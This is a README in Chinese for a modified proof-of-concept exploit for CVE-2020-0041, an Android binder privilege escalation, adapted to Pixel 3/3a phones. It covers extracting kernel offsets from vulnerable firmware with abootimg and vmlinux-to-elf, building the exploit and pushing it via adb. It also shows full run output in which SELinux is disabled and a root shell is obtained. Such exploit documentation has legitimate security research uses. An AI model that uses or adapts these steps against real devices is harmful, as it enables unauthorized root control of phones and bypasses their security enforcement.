CVE-2020-0041：权限提升漏洞利用

本文件夹包含一个本地权限提升漏洞利用程序，是对 bluefrostsecurity 针对 CVE-2020-0041 的 PoC 的修改版本。该漏洞利用程序针对运行 2020 年 2 月固件（QQ1A.200205.002）的 Pixel 3 设备提供了硬编码偏移量。该漏洞利用程序已针对 Pixel 3a 设备进行了适配。

该漏洞利用程序会禁用 SELinux，然后启动一个 root shell。

适配漏洞利用程序

为了将漏洞利用程序适配到任何 Pixel 3 设备，需要从官方网站 developer android images 下载特定的易受攻击固件（QQ1A.200205.002）。
随后，将 boot.img 转换为 zImage。为此，请使用 abootimg。

./abootimg -x [path_to_boot_img]

生成的 zImage 是一个包含压缩 Android 内核的镜像。

为了获取包含正确符号和偏移量的未压缩内核镜像，请使用 vmlinux-to-elf 工具。

vmlinux-to-elf [path_to_zImage] [kernel.elf]

使用你偏好的反汇编器查找与 exploit.c 中漏洞利用偏移量相关的标签：

SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP

使 exploit.c 与正确的偏移量对齐。
大功告成 :)

测试漏洞利用程序

只需在路径中包含 Android NDK 的情况下运行 "make" 即可构建漏洞利用程序。也可以通过执行 "make all push" 将其推送到通过 adb 连接的手机（为简洁起见，已移除警告）：

user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

现在只需从 adb shell 中运行 /data/local/tmp/poc 即可看到漏洞利用程序运行：

blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ #

CVE-2020-0041-Pixel-3a

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